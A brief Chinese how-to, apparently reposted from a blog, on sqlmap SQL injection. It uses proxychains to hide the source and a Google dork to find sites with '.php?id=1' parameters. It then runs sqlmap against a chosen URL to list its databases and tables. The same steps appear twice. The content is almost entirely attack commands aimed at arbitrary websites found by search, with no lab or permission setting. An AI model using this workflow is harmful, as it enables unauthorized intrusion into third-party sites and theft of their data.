1、sqlmap -hh 查看详细说明
2、使用google
proxychains sqlmap -g " inurl:\".php?id=1\" "
自动发现可能有漏洞的url
3、选择上一步得到的url，探测用户名，数据库等等
sqlmap -u "http://www.xxxxxx.com/subcat.php?id=1" --dbs --tables
1、sqlmap -hh 查看详细说明
2、使用google
proxychains sqlmap -g " inurl:\".php?id=1\" "
自动发现可能有漏洞的url
3、选择上一步得到的url，探测用户名，数据库等等
sqlmap -u "http://www.xxxxxx.com/subcat.php?id=1" --dbs --tables
原文：https://www.cnblogs.com/lanqie/p/8404572.html